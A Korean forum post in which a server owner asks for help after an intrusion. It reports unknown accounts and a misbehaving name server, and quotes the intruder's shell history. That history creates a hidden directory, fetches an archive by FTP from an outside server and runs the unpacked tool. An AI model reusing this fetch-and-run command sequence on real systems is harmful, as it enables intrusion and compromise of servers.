지난번 갑자기 로그인이 되지 않아서 질문을 올렸던 사람 입니다.
 거의 해킹이 확실한것 같아 다시 설치 했습니다.
 설치하고 하루동안 세팅하고 그냥 방치?? 한것이 저의 잘못이라면.....
 오늘 아침 다시보니 누군가 접근한 흔적이 있었습니다.
새로운 사용자가 추가 되었구요..
Named와 cgi라는 id로요...
uid값도 이상했습니다.
 일단 사용자 계정을 삭제 했습니다.
Named라는 사용자는 쉘을 쓸수 없게 했더군요..
 아래는 cgi라는 사용자가 썻던 명령어 입니다.
.bash_history파일에 있던 내용 입니다.
 w
cd ...
mkdir ...
cd ...
ftp ftp.geocities.com
tar xvf out.tar.gz
cd out
./x 24 30
 위에 ftp서버는 Yahoo에서 운영하는것 같았습니다.
뭔가 다운 받아 설치하고 간것 같아요..
 참고로 내임서버가 이상해진것 같습니다.
콘솔에 메시지를 뿌려대는것이.... 음...
 도와주세요..
보안에 대해서는 아무런 지식이 없어서..
다른 로그파일은 없나요?? 있다면 어디에.. 글구 이사람 찾아서 꼭 혼내주고 싶어요..--안개
는 하늘을 사랑합니다. -- 영원히 --  사랑이 온세상에 퍼지도록...